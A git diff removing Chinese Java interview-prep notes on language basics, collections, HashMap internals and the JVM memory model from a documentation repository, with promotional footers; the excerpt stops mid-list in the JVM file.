-### 重载与覆盖的区别? - -- 覆盖是父类与子类之间的关系,是垂直关系;重载是同一类中方法之间的关系,是水平关系。 -- 覆盖只能由一个方法或一对方法产生关系;重载是多个方法之间的关系。 -- 覆盖要求参数列表相同;重载要求参数列表不同。 -- 覆盖中,调用方法体是根据对象的类型来决定的,而重载是根据调用时实参表与形参表来对应选择方法体。 -- 重载方法可以改变返回值的类型,覆盖方法不能改变返回值的类型。 - -### 接口和抽象类的相同点和不同点? - -相同点: - -- 都不能被实例化。 -- 接口的实现类或抽象类的子类需实现接口或抽象类中相应的方法才能被实例化。 - -不同点: - -- 接口只能有方法定义,不能有方法的实现,而抽象类可以有方法的定义与实现。 - -- 实现接口的关键字为 implements,继承抽象类的关键字为 extends。一个类可以实现多个接口,只能继承一个抽象类。 - -- 当子类和父类之间存在逻辑上的层次结构,推荐使用抽象类,有利于功能的累积。当功能不需要,希望支持差别较大的两个或更多对象间的特定交互行为,推荐使用接口。使用接口能降低软件系统的耦合度,便于日后维护或添加删除方法。 - -### 简述抽象类与接口的区别 - -抽象类:体现的是 is-a 的关系,如对于 man is a person,就可以将 person 定义为抽象类。 - -接口:体现的是 can 的关系。是作为模板实现的。如设置接口 fly,plane 类和 bird 类均可实现该接口。 - -一个类只能继承一个抽象类,但可以实现多个接口。 - -### 简述内部类及其作用 - -- 成员内部类:作为成员对象的内部类。可以访问 private 及以上外部类的属性和方法。外部类想要访问内部类属性或方法时,必须要创建一个内部类对象,然后通过该对象访问内部类的属性或方法。外部类也可访问 private 修饰的内部类属性。 -- 局部内部类:存在于方法中的内部类。访问权限类似局部变量,只能访问外部类的 final 变量。 -- 匿名内部类:只能使用一次,没有类名,只能访问外部类的 final 变量。 -- 静态内部类:类似类的静态成员变量。 - - - - -### Java 语言中关键字 static 的作用是什么? - static 的主要作用有两个: - -- 为某种特定数据类型或对象分配与创建对象个数无关的单一的存储空间。 -- 使得某个方法或属性与类而不是对象关联在一起,即在不创建对象的情况下可通过类直接调用方法或使用类的属性。 - -具体而言 static 又可分为 4 种使用方式: - -- 修饰成员变量。用 static 关键字修饰的静态变量在内存中只有一个副本。只要静态变量所在的类被加载,这个静态变量就会被分配空间,可以使用“类.静态变量”和“对象.静态变量”的方法使用。 -- 修饰成员方法。static 修饰的方法无需创建对象就可以被调用。static 方法中不能使用 this 和 super 关键字,不能调用非 static 方法,只能访问所属类的静态成员变量和静态成员方法。 -- 修饰代码块。JVM 在加载类的时候会执行 static 代码块。static 代码块常用于初始化静态变量。static 代码块只会被执行一次。 -- 修饰内部类。static 内部类可以不依赖外部类实例对象而被实例化。静态内部类不能与外部类有相同的名字,不能访问普通成员变量,只能访问外部类中的静态成员和静态成员方法。 - - - - - -### 为什么要把 String 设计为不可变? - -- 节省空间:字符串常量存储在 JVM 的字符串池中可以被用户共享。 -- 提高效率:String 可以被不同线程共享,是线程安全的。在涉及多线程操作中不需要同步操作。 -- 安全:String 常被用于用户名、密码、文件名等使用,由于其不可变,可避免黑客行为对其恶意修改。 - -### 简述 String/StringBuffer 与 StringBuilder - -String 类采用利用 final 修饰的字符数组进行字符串保存,因此不可变。如果对 String 类型对象修改,需要新建对象,将老字符和新增加的字符一并存进去。 - -StringBuilder,采用无 final 修饰的字符数组进行保存,因此可变。但线程不安全。 - -StringBuffer,采用无 final 修饰的字符数组进行保存,可理解为实现线程安全的 StringBuilder。 - -### 判等运算符==与 equals 的区别? - -== 比较的是引用,equals 比较的是内容。 - -如果变量是基础数据类型,== 用于比较其对应值是否相等。如果变量指向的是对象,== 用于比较两个对象是否指向同一块存储空间。 - -equals 是 Object 类提供的方法之一,每个 Java 类都继承自 Object 类,所以每个对象都具有 equals 这个方法。Object 类中定义的 equals 方法内部是直接调用 == 比较对象的。但通过覆盖的方法可以让它不是比较引用而是比较数据内容。 - -### 简述 Object 类常用方法 - -- hashCode:通过对象计算出的散列码。用于 map 型或 equals 方法。需要保证同一个对象多次调用该方法,总返回相同的整型值。 -- equals:判断两个对象是否一致。需保证 equals 方法相同对应的对象 hashCode 也相同。 -- toString: 用字符串表示该对象 -- clone:深拷贝一个对象 - -### Java 中一维数组和二维数组的声明方式? - -一维数组的声明方式: - -```java -type arrayName[] -type[] arrayName -``` - -二维数组的声明方式: - -```java -type arrayName[][] -type[][] arrayName -type[] arrayName[] -``` - -其中 type 为基本数据类型或类,arrayName 为数组名字 - -### 简述 Java 异常的分类 - -Java 异常分为 Error(程序无法处理的错误),和 Exception(程序本身可以处理的异常)。这两个类均继承 Throwable。 - -Error 常见的有 StackOverFlowError、OutOfMemoryError 等等。 - -Exception 可分为运行时异常和非运行时异常。对于运行时异常,可以利用 try catch 的方式进行处理,也可以不处理。对于非运行时异常,必须处理,不处理的话程序无法通过编译。 - -### 简述 throw 与 throws 的区别 - -throw 一般是用在方法体的内部,由开发者定义当程序语句出现问题后主动抛出一个异常。 - -throws 一般用于方法声明上,代表该方法可能会抛出的异常列表。 - -### 出现在 Java 程序中的 finally 代码块是否一定会执行? - -当遇到下面情况不会执行。 - -- 当程序在进入 try 语句块之前就出现异常时会直接结束。 -- 当程序在 try 块中强制退出时,如使用 System.exit(0),也不会执行 finally 块中的代码。 - -其它情况下,在 try/catch/finally 语句执行的时候,try 块先执行,当有异常发生,catch 和 finally 进行处理后程序就结束了,当没有异常发生,在执行完 finally 中的代码后,后面代码会继续执行。值得注意的是,当 try/catch 语句块中有 return 时,finally 语句块中的代码会在 return 之前执行。如果 try/catch/finally 块中都有 return 语句,finally 块中的 return 语句会覆盖 try/catch 模块中的 return 语句。 - -### final、finally 和 finalize 的区别是什么? - -- final 用于声明属性、方法和类,分别表示属性不可变、方法不可覆盖、类不可继承。 -- finally 作为异常处理的一部分,只能在 try/catch 语句中使用,finally 附带一个语句块用来表示这个语句最终一定被执行,经常被用在需要释放资源的情况下。 -- finalize 是 Object 类的一个方法,在垃圾收集器执行的时候会调用被回收对象的 finalize()方法。当垃圾回收器准备好释放对象占用空间时,首先会调用 finalize()方法,并在下一次垃圾回收动作发生时真正回收对象占用的内存。 - -### 简述泛型 - -泛型,即“参数化类型”,解决不确定对象具体类型的问题。在编译阶段有效。在泛型使用过程中,操作的数据类型被指定为一个参数,这种参数类型在类中称为泛型类、接口中称为泛型接口和方法中称为泛型方法。 - -### 简述泛型擦除 - -Java 编译器生成的字节码是不包涵泛型信息的,泛型类型信息将在编译处理是被擦除,这个过程被称为泛型擦除。 - -### 简述注解 - -Java 注解用于为 Java 代码提供元数据。作为元数据,注解不直接影响你的代码执行,但也有一些类型的注解实际上可以用于这一目的。 - -其可以用于提供信息给编译器,在编译阶段时给软件提供信息进行相关的处理,在运行时处理写相应代码,做对应操作。 - -### 简述元注解 - -元注解可以理解为注解的注解,即在注解中使用,实现想要的功能。其具体分为: - -- @Retention: 表示注解存在阶段是保留在源码,还是在字节码(类加载)或者运行期(JVM 中运行)。 -- @Target:表示注解作用的范围。 -- @Documented:将注解中的元素包含到 Javadoc 中去。 -- @Inherited:一个被@Inherited 注解了的注解修饰了一个父类,如果他的子类没有被其他注解修饰,则它的子类也继承了父类的注解。 -- @Repeatable:被这个元注解修饰的注解可以同时作用一个对象多次,但是每次作用注解又可以代表不同的含义。 - - - - -### 简述 Java 中 Class 对象 - -java 中对象可以分为实例对象和 Class 对象,每一个类都有一个 Class 对象,其包含了与该类有关的信息。 - -获取 Class 对象的方法: - -```java -Class.forName(“类的全限定名”) -实例对象.getClass() -类名.class -``` - -### Java 反射机制是什么? - -Java 反射机制是指在程序的运行过程中可以构造任意一个类的对象、获取任意一个类的成员变量和成员方法、获取任意一个对象所属的类信息、调用任意一个对象的属性和方法。反射机制使得 Java 具有动态获取程序信息和动态调用对象方法的能力。可以通过以下类调用反射 API。 - -- Class 类:可获得类属性方法 -- Field 类:获得类的成员变量 -- Method 类:获取类的方法信息 -- Construct 类:获取类的构造方法等信息 - - - - - - - - - - -### 序列化是什么? - -序列化是一种将对象转换成字节序列的过程,用于解决在对对象流进行读写操作时所引发的问题。序列化可以将对象的状态写在流里进行网络传输,或者保存到文件、数据库等系统里,并在需要的时候把该流读取出来重新构造成一个相同的对象。 - - -### 简述 Java 序列化与反序列化的实现 - -序列化:将 java 对象转化为字节序列,由此可以通过网络对象进行传输。 - -反序列化:将字节序列转化为 java 对象。 - -具体实现:实现 Serializable 接口,或实现 Externalizable 接口中的 writeExternal()与 readExternal()方法。 - -### 简述 Java 的 List - -List 是一个有序队列,在 Java 中有两种实现方式: - -ArrayList 使用数组实现,是容量可变的非线程安全列表,随机访问快,集合扩容时会创建更大的数组,把原有数组复制到新数组。 - -LinkedList 本质是双向链表,与 ArrayList 相比插入和删除速度更快,但随机访问元素很慢。 - -### Java 中线程安全的基本数据结构有哪些 - -- HashTable: 哈希表的线程安全版,效率低 -- ConcurrentHashMap:哈希表的线程安全版,效率高,用于替代 HashTable -- Vector:线程安全版 Arraylist -- Stack:线程安全版栈 -- BlockingQueue 及其子类:线程安全版队列 - -### 简述 Java 的 Set - -Set 即集合,该数据结构不允许元素重复且无序。Java 对 Set 有三种实现方式: - -HashSet 通过 HashMap 实现,HashMap 的 Key 即 HashSet 存储的元素,Value 系统自定义一个名为 PRESENT 的 Object 类型常量。判断元素是否相同时,先比较 hashCode,相同后再利用 equals 比较,查询 O(1) - -LinkedHashSet 继承自 HashSet,通过 LinkedHashMap 实现,使用双向链表维护元素插入顺序。 - -TreeSet 通过 TreeMap 实现的,底层数据结构是红黑树,添加元素到集合时按照比较规则将其插入合适的位置,保证插入后的集合仍然有序。查询 O(logn) - -### 简述 Java 的 HashMap - -JDK8 之前底层实现是数组 + 链表,JDK8 改为数组 + 链表/红黑树。主要成员变量包括存储数据的 table 数组、元素数量 size、加载因子 loadFactor。HashMap 中数据以键值对的形式存在,键对应的 hash 值用来计算数组下标,如果两个元素 key 的 hash 值一样,就会发生哈希冲突,被放到同一个链表上。 - -table 数组记录 HashMap 的数据,每个下标对应一条链表,所有哈希冲突的数据都会被存放到同一条链表,Node/Entry 节点包含四个成员变量:key、value、next 指针和 hash 值。在 JDK8 后链表超过 8 会转化为红黑树。 - -若当前数据/总数据容量>负载因子,Hashmap 将执行扩容操作。默认初始化容量为 16,扩容容量必须是 2 的幂次方、最大容量为 1<< 30 、默认加载因子为 0.75。 - -### 为何 HashMap 线程不安全 - -在 JDK1.7 中,HashMap 采用头插法插入元素,因此并发情况下会导致环形链表,产生死循环。 - -虽然 JDK1.8 采用了尾插法解决了这个问题,但是并发下的 put 操作也会使前一个 key 被后一个 key 覆盖。 - -由于 HashMap 有扩容机制存在,也存在 A 线程进行扩容后,B 线程执行 get 方法出现失误的情况。 - -### 简述 Java 的 TreeMap - -TreeMap 是底层利用红黑树实现的 Map 结构,底层实现是一棵平衡的排序二叉树,由于红黑树的插入、删除、遍历时间复杂度都为 O(logN),所以性能上低于哈希表。但是哈希表无法提供键值对的有序输出,红黑树可以按照键的值的大小有序输出。 - - - -### ArrayList、Vector 和 LinkedList 有什么共同点与区别? - -- ArrayList、Vector 和 LinkedList 都是可伸缩的数组,即可以动态改变长度的数组。 -- ArrayList 和 Vector 都是基于存储元素的 Object[] array 来实现的,它们会在内存中开辟一块连续的空间来存储,支持下标、索引访问。但在涉及插入元素时可能需要移动容器中的元素,插入效率较低。当存储元素超过容器的初始化容量大小,ArrayList 与 Vector 均会进行扩容。 -- Vector 是线程安全的,其大部分方法是直接或间接同步的。ArrayList 不是线程安全的,其方法不具有同步性质。LinkedList 也不是线程安全的。 -- LinkedList 采用双向列表实现,对数据索引需要从头开始遍历,因此随机访问效率较低,但在插入元素的时候不需要对数据进行移动,插入效率较高。 - -### HashMap 和 Hashtable 有什么区别? - -- HashMap 是 Hashtable 的轻量级实现,HashMap 允许 key 和 value 为 null,但最多允许一条记录的 key 为 null.而 HashTable 不允许。 -- HashTable 中的方法是线程安全的,而 HashMap 不是。在多线程访问 HashMap 需要提供额外的同步机制。 -- Hashtable 使用 Enumeration 进行遍历,HashMap 使用 Iterator 进行遍历。 - -### 如何决定使用 HashMap 还是 TreeMap? - -如果对 Map 进行插入、删除或定位一个元素的操作更频繁,HashMap 是更好的选择。如果需要对 key 集合进行有序的遍历,TreeMap 是更好的选择。 - - - -### HashSet 中,equals 与 hashCode 之间的关系? - -equals 和 hashCode 这两个方法都是从 object 类中继承过来的,equals 主要用于判断对象的内存地址引用是否是同一个地址;hashCode 根据定义的哈希规则将对象的内存地址转换为一个哈希码。HashSet 中存储的元素是不能重复的,主要通过 hashCode 与 equals 两个方法来判断存储的对象是否相同: - -- 如果两个对象的 hashCode 值不同,说明两个对象不相同。 -- 如果两个对象的 hashCode 值相同,接着会调用对象的 equals 方法,如果 equlas 方法的返回结果为 true,那么说明两个对象相同,否则不相同。 - -### fail-fast 和 fail-safe 迭代器的区别是什么? - -- fail-fast 直接在容器上进行,在遍历过程中,一旦发现容器中的数据被修改,就会立刻抛出 ConcurrentModificationException 异常从而导致遍历失败。常见的使用 fail-fast 方式的容器有 HashMap 和 ArrayList 等。 -- fail-safe 这种遍历基于容器的一个克隆。因此对容器中的内容修改不影响遍历。常见的使用 fail-safe 方式遍历的容器有 ConcurrentHashMap 和 CopyOnWriteArrayList。 - -### Collection 和 Collections 有什么区别? - -- Collection 是一个集合接口,它提供了对集合对象进行基本操作的通用接口方法,所有集合都是它的子类,比如 List、Set 等。 -- Collections 是一个包装类,包含了很多静态方法、不能被实例化,而是作为工具类使用,比如提供的排序方法:Collections.sort(list);提供的反转方法:Collections.reverse(list)。 - ---- - -投稿作者:后端技术小牛说 -转载链接:[https://mp.weixin.qq.com/s/PmeH38qWVxyIhBpsAsjG7w](https://mp.weixin.qq.com/s/PmeH38qWVxyIhBpsAsjG7w) - - ---------- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/interview/java-hashmap-13.md b/docs/src/interview/java-hashmap-13.md deleted file mode 100644 index 7b00f4851d..0000000000 --- a/docs/src/interview/java-hashmap-13.md +++ /dev/null @@ -1,214 +0,0 @@ ---- -title: 13 道 Java HashMap 精选面试题👍 -shortTitle: 13道HashMap精选面试题👍 -category: - - 求职面试 -tag: - - 面试题&八股文 -description: 二哥的Java进阶之路,小白的零基础Java教程,13 道 Java HashMap 精选面试题👍 -head: - - - meta - - name: keywords - content: Java,java,hashmap,面试题,八股文 ---- - - -对于 Java 求职者来说,HashMap 可谓是重中之重,是面试的必考点。然而 HashMap 的知识点非常多,复习起来花费精力很大。 - - - -### 01、HashMap的底层数据结构是什么? - -JDK 7 中,HashMap 由“数组+链表”组成,数组是 HashMap 的主体,链表则是主要为了解决哈希冲突而存在的。 - -在 JDK 8 中,HashMap 由“数组+链表+红黑树”组成。链表过长,会严重影响 HashMap 的性能,而红黑树搜索的时间复杂度是 O(logn),而链表是糟糕的 O(n)。因此,JDK 8 对数据结构做了进一步的优化,引入了红黑树,链表和红黑树在达到一定条件会进行转换: - -- 当链表超过 8 且数据总量超过 64 时会转红黑树。 -- 将链表转换成红黑树前会判断,如果当前数组的长度小于 64,那么会选择先进行数组扩容,而不是转换为红黑树,以减少搜索时间。 - -链表长度超过 8 体现在 putVal 方法中的这段代码: - -```java -//链表长度大于8转换为红黑树进行处理 -if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st - treeifyBin(tab, hash); -``` - - table 长度为 64 体现在 treeifyBin 方法中的这段代码:: - -```java -final void treeifyBin(Node[] tab, int hash) { - int n, index; Node e; - if (tab == null || (n = tab.length) < MIN_TREEIFY_CAPACITY) - resize(); -} -``` - -MIN_TREEIFY_CAPACITY 的值正好为 64。 - -```java -static final int MIN_TREEIFY_CAPACITY = 64; -``` - -JDK 8 中 HashMap 的结构示意图: - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/hashmap-interview-01.png) - -### 02、为什么链表改为红黑树的阈值是 8? - -因为泊松分布,我们来看作者在源码中的注释: - ->Because TreeNodes are about twice the size of regular nodes, we - use them only when bins contain enough nodes to warrant use - (see TREEIFY_THRESHOLD). And when they become too small (due to - removal or resizing) they are converted back to plain bins. In - usages with well-distributed user hashCodes, tree bins are - rarely used. Ideally, under random hashCodes, the frequency of - nodes in bins follows a Poisson distribution - (http://en.wikipedia.org/wiki/Poisson_distribution) with a - parameter of about 0.5 on average for the default resizing - threshold of 0.75, although with a large variance because of - resizing granularity. Ignoring variance, the expected - occurrences of list size k are (exp(-0.5) pow(0.5, k) / - factorial(k)). The first values are: - 0: 0.60653066
- 1: 0.30326533
- 2: 0.07581633
- 3: 0.01263606
- 4: 0.00157952
- 5: 0.00015795
- 6: 0.00001316
- 7: 0.00000094
- 8: 0.00000006
- more: less than 1 in ten million - -翻译过来大概的意思是:理想情况下使用随机的哈希码,容器中节点分布在 hash 桶中的频率遵循泊松分布,按照泊松分布的计算公式计算出了桶中元素个数和概率的对照表,可以看到链表中元素个数为 8 时的概率已经非常小,再多的就更少了,所以原作者在选择链表元素个数时选择了 8,是根据概率统计而选择的。 - -### 03、解决hash冲突的办法有哪些?HashMap用的哪种? - -解决Hash冲突方法有: - -- 开放定址法:也称为再散列法,基本思想就是,如果p=H(key)出现冲突时,则以p为基础,再次hash,p1=H(p),如果p1再次出现冲突,则以p1为基础,以此类推,直到找到一个不冲突的哈希地址pi。因此开放定址法所需要的hash表的长度要大于等于所需要存放的元素,而且因为存在再次hash,所以只能在删除的节点上做标记,而不能真正删除节点。 -- 再哈希法:双重散列,多重散列,提供多个不同的hash函数,当R1=H1(key1)发生冲突时,再计算R2=H2(key1),直到没有冲突为止。这样做虽然不易产生堆集,但增加了计算的时间。 -- 链地址法:拉链法,将哈希值相同的元素构成一个同义词的单链表,并将单链表的头指针存放在哈希表的第i个单元中,查找、插入和删除主要在同义词链表中进行。链表法适用于经常进行插入和删除的情况。 -- 建立公共溢出区:将哈希表分为公共表和溢出表,当溢出发生时,将所有溢出数据统一放到溢出区。 - -HashMap中采用的是链地址法 。 - -### 04、为什么在解决 hash 冲突的时候,不直接用红黑树?而选择先用链表,再转红黑树? - -因为红黑树需要进行左旋,右旋,变色这些操作来保持平衡,而单链表不需要。 - -当元素小于 8 个的时候,此时做查询操作,链表结构已经能保证查询性能。当元素大于 8 个的时候, 红黑树搜索时间复杂度是 O(logn),而链表是 O(n),此时需要红黑树来加快查询速度,但是新增节点的效率变慢了。 - -因此,如果一开始就用红黑树结构,元素太少,新增效率又比较慢,无疑这是浪费性能的。 - -### 05、HashMap默认加载因子是多少?为什么是 0.75,不是 0.6 或者 0.8 ? - -作为一般规则,默认负载因子(0.75)在时间和空间成本上提供了很好的折衷。 - -[详情参照这篇](https://mp.weixin.qq.com/s/a3qfatEWizKK1CpYaxVBbA) - -### 06、HashMap 中 key 的存储索引是怎么计算的? - -首先根据key的值计算出hashcode的值,然后根据hashcode计算出hash值,最后通过hash&(length-1)计算得到存储的位置。 - - -[详情参照这篇](https://mp.weixin.qq.com/s/aS2dg4Dj1Efwujmv-6YTBg) - -### 07、JDK 8 为什么要 hashcode 异或其右移十六位的值? - -因为在JDK 7 中扰动了 4 次,计算 hash 值的性能会稍差一点点。 - -从速度、功效、质量来考虑,JDK 8 优化了高位运算的算法,通过hashCode()的高16位异或低16位实现:`(h = k.hashCode()) ^ (h >>> 16)`。 - -这么做可以在数组 table 的 length 比较小的时候,也能保证考虑到高低Bit都参与到Hash的计算中,同时不会有太大的开销。 - -### 08、为什么 hash 值要与length-1相与? - -- 把 hash 值对数组长度取模运算,模运算的消耗很大,没有位运算快。 -- 当 length 总是 2 的n次方时,`h& (length-1) `运算等价于对length取模,也就是 h%length,但是 & 比 % 具有更高的效率。 - -### 09、HashMap数组的长度为什么是 2 的幂次方? - -2 的 N 次幂有助于减少碰撞的几率。如果 length 为2的幂次方,则 length-1 转化为二进制必定是11111……的形式,在与h的二进制与操作效率会非常的快,而且空间不浪费。我们来举个例子,看下图: - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/hashmap-interview-02.png) - -当 length =15时,6 和 7 的结果一样,这样表示他们在 table 存储的位置是相同的,也就是产生了碰撞,6、7就会在一个位置形成链表,4和5的结果也是一样,这样就会导致查询速度降低。 - -如果我们进一步分析,还会发现空间浪费非常大,以 length=15 为例,在 1、3、5、7、9、11、13、15 这八处没有存放数据。因为hash值在与14(即 1110)进行&运算时,得到的结果最后一位永远都是0,即 0001、0011、0101、0111、1001、1011、1101、1111位置处是不可能存储数据的。 - -**再补充数组容量计算的小奥秘。** - -HashMap 构造函数允许用户传入的容量不是 2 的 n 次方,因为它可以自动地将传入的容量转换为 2 的 n 次方。会取大于或等于这个数的 且最近的2次幂作为 table 数组的初始容量,使用tableSizeFor(int)方法,如 tableSizeFor(10) = 16(2 的 4 次幂),tableSizeFor(20) = 32(2 的 5 次幂),也就是说 table 数组的长度总是 2 的次幂。JDK 8 源码如下: - -```java -static final int tableSizeFor(int cap) { - int n = cap - 1; - n |= n >>> 1; - n |= n >>> 2; - n |= n >>> 4; - n |= n >>> 8; - n |= n >>> 16; - return (n < 0) ? 1 : (n >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : n + 1; - } -``` - -让cap-1再赋值给n的目的是另找到的目标值大于或等于原值。例如二进制1000,十进制数值为8。如果不对它减1而直接操作,将得到答案10000,即16。显然不是结果。减1后二进制为111,再进行操作则会得到原来的数值1000,即8。 - -### 10、HashMap 的put方法流程? - -以JDK 8为例,简要流程如下: - -1、首先根据 key 的值计算 hash 值,找到该元素在数组中存储的下标; - -2、如果数组是空的,则调用 resize 进行初始化; - -3、如果没有哈希冲突直接放在对应的数组下标里; - -4、如果冲突了,且 key 已经存在,就覆盖掉 value; - -5、如果冲突后,发现该节点是红黑树,就将这个节点挂在树上; - -6、如果冲突后是链表,判断该链表是否大于 8 ,如果大于 8 并且数组容量小于 64,就进行扩容;如果链表节点大于 8 并且数组的容量大于 64,则将这个结构转换为红黑树;否则,链表插入键值对,若 key 存在,就覆盖掉 value。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/hashmap-interview-03.png) - -### 11、HashMap 的扩容方式? - -HashMap 在容量超过负载因子所定义的容量之后,就会扩容。 - -[详情参照这篇](https://mp.weixin.qq.com/s/0KSpdBJMfXSVH63XadVdmw) - -### 12、一般用什么作为HashMap的key? - -一般用Integer、String 这种不可变类当作 HashMap 的 key,String 最为常见。 - -- 因为字符串是不可变的,所以在它创建的时候 hashcode 就被缓存了,不需要重新计算。 -- 因为获取对象的时候要用到 equals() 和 hashCode() 方法,那么键对象正确的重写这两个方法是非常重要的。Integer、String 这些类已经很规范的重写了 hashCode() 以及 equals() 方法。 - -### 13、HashMap为什么线程不安全? - -- JDK 7 时多线程下扩容会造成死循环。 -- 多线程的put可能导致元素的丢失。 -- put和get并发时,可能导致get为null。 - -[详情参照这篇](https://mp.weixin.qq.com/s/qk_neCdzM3aB6pVWVTHhNw) - - - ->参考链接:[https://zhuanlan.zhihu.com/p/362214327](https://zhuanlan.zhihu.com/p/362214327) - ---------- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - diff --git a/docs/src/interview/java-jvm-baguwen.md b/docs/src/interview/java-jvm-baguwen.md deleted file mode 100644 index 25f288ceea..0000000000 --- a/docs/src/interview/java-jvm-baguwen.md +++ /dev/null @@ -1,220 +0,0 @@ ---- -title: Java 虚拟机背诵版八股文必看🍉 -shortTitle: JVM背诵版八股文🍉 -category: - - 求职面试 -tag: - - 面试题&八股文 -description: 二哥的Java进阶之路,小白的零基础Java教程,Java 虚拟机背诵版八股文必看🍉 -head: - - - meta - - name: keywords - content: Java,java,jvm,面试题,八股文 ---- - -### 简述JVM内存模型 -线程私有的运行时数据区: 程序计数器、Java 虚拟机栈、本地方法栈。 - -线程共享的运行时数据区:Java 堆、方法区。 - -### 简述程序计数器 -程序计数器表示当前线程所执行的字节码的行号指示器。 - -程序计数器不会产生StackOverflowError和OutOfMemoryError。 - -### 简述虚拟机栈 -Java 虚拟机栈用来描述 Java 方法执行的内存模型。线程创建时就会分配一个栈空间,线程结束后栈空间被回收。 - -栈中元素用于支持虚拟机进行方法调用,每个方法在执行时都会创建一个栈帧存储方法的局部变量表、操作栈、动态链接和返回地址等信息。 - -虚拟机栈会产生两类异常: - -- StackOverflowError:线程请求的栈深度大于虚拟机允许的深度抛出。 -- OutOfMemoryError:如果 JVM 栈容量可以动态扩展,虚拟机栈占用内存超出抛出。 - -### 简述本地方法栈 -本地方法栈与虚拟机栈作用相似,不同的是虚拟机栈为虚拟机执行 Java 方法服务,本地方法栈为本地方法服务。可以将虚拟机栈看作普通的java函数对应的内存模型,本地方法栈看作由native关键词修饰的函数对应的内存模型。 - -本地方法栈会产生两类异常: - -- StackOverflowError:线程请求的栈深度大于虚拟机允许的深度抛出。 -- OutOfMemoryError:如果 JVM 栈容量可以动态扩展,虚拟机栈占用内存超出抛出。 - -### 简述JVM中的堆 -堆主要作用是存放对象实例,Java 里几乎所有对象实例都在堆上分配内存,堆也是内存管理中最大的一块。Java的垃圾回收主要就是针对堆这一区域进行。 可通过 -Xms 和 -Xmx 设置堆的最小和最大容量。 - -堆会抛出 OutOfMemoryError异常。 - -### 简述方法区 -方法区用于存储被虚拟机加载的类信息、常量、静态变量等数据。 - -JDK6之前使用永久代实现方法区,容易内存溢出。JDK7 把放在永久代的字符串常量池、静态变量等移出,JDK8 中抛弃永久代,改用在本地内存中实现的元空间来实现方法区,把 JDK 7 中永久代内容移到元空间。 - -方法区会抛出 OutOfMemoryError异常。 - -### 简述运行时常量池 -运行时常量池存放常量池表,用于存放编译器生成的各种字面量与符号引用。一般除了保存 Class 文件中描述的符号引用外,还会把符号引用翻译的直接引用也存储在运行时常量池。除此之外,也会存放字符串基本类型。 - -JDK8之前,放在方法区,大小受限于方法区。JDK8将运行时常量池存放堆中。 - -### 简述直接内存 -直接内存也称为堆外内存,就是把内存对象分配在JVM堆外的内存区域。这部分内存不是虚拟机管理,而是由操作系统来管理。 Java通过DriectByteBuffer对其进行操作,避免了在 Java 堆和 Native堆来回复制数据。 - -### 简述Java创建对象的过程 -- 检查该指令的参数能否在常量池中定位到一个类的符号引用,并检查引用代表的类是否已被加载、解析和初始化,如果没有就先执行类加载。 -- 通过检查通过后虚拟机将为新生对象分配内存。 -- 完成内存分配后虚拟机将成员变量设为零值 -- 设置对象头,包括哈希码、GC 信息、锁信息、对象所属类的类元信息等。 -- 执行 init 方法,初始化成员变量,执行实例化代码块,调用类的构造方法,并把堆内对象的首地址赋值给引用变量。 -### 简述JVM给对象分配内存的策略 -- 指针碰撞:这种方式在内存中放一个指针作为分界指示器将使用过的内存放在一边,空闲的放在另一边,通过指针挪动完成分配。 -- 空闲列表:对于 Java 堆内存不规整的情况,虚拟机必须维护一个列表记录哪些内存可用,在分配时从列表中找到一块足够大的空间划分给对象并更新列表记录。 -### Java对象内存分配是如何保证线程安全的 -第一种方法,采用CAS机制,配合失败重试的方式保证更新操作的原子性。该方式效率低。 - -第二种方法,每个线程在Java堆中预先分配一小块内存,然后再给对象分配内存的时候,直接在自己这块"私有"内存中分配。一般采用这种策略。 - -### 简述对象的内存布局 -对象在堆内存的存储布局可分为对象头、实例数据和对齐填充。 - -1)对象头主要包含两部分数据: MarkWord、类型指针。 - -MarkWord 用于存储哈希码(HashCode)、GC分代年龄、锁状态标志位、线程持有的锁、偏向线程ID等信息。 - -类型指针即对象指向他的类元数据指针,如果对象是一个 Java 数组,会有一块用于记录数组长度的数据。 - -2)实例数据存储代码中所定义的各种类型的字段信息。 - -3)对齐填充起占位作用。HotSpot 虚拟机要求对象的起始地址必须是8的整数倍,因此需要对齐填充。 - -### 如何判断对象是否是垃圾 -1)引用计数法: - -设置引用计数器,对象被引用计数器加 1,引用失效时计数器减 1,如果计数器为 0 则被标记为垃圾。会存在对象间循环引用的问题,一般不使用这种方法。 - -2)可达性分析: - -通过 GC Roots 的根对象作为起始节点,从这些节点开始,根据引用关系向下搜索,如果某个对象没有被搜到,则会被标记为垃圾。可作为 GC Roots 的对象包括虚拟机栈和本地方法栈中引用的对象、类静态属性引用的对象、常量引用的对象。 - -### 简述java的引用类型 -- 强引用: 被强引用关联的对象不会被回收。一般采用 new 方法创建强引用。 -- 软引用:被软引用关联的对象只有在内存不够的情况下才会被回收。一般采用 SoftReference 类来创建软引用。 -- 弱引用:垃圾收集器碰到即回收,也就是说它只能存活到下一次垃圾回收发生之前。一般采用 WeakReference 类来创建弱引用。 -- 虚引用: 无法通过该引用获取对象。唯一目的就是为了能在对象被回收时收到一个系统通知。虚引用必须与引用队列联合使用。 - -### 简述标记清除算法、标记整理算法和标记复制算法 -- 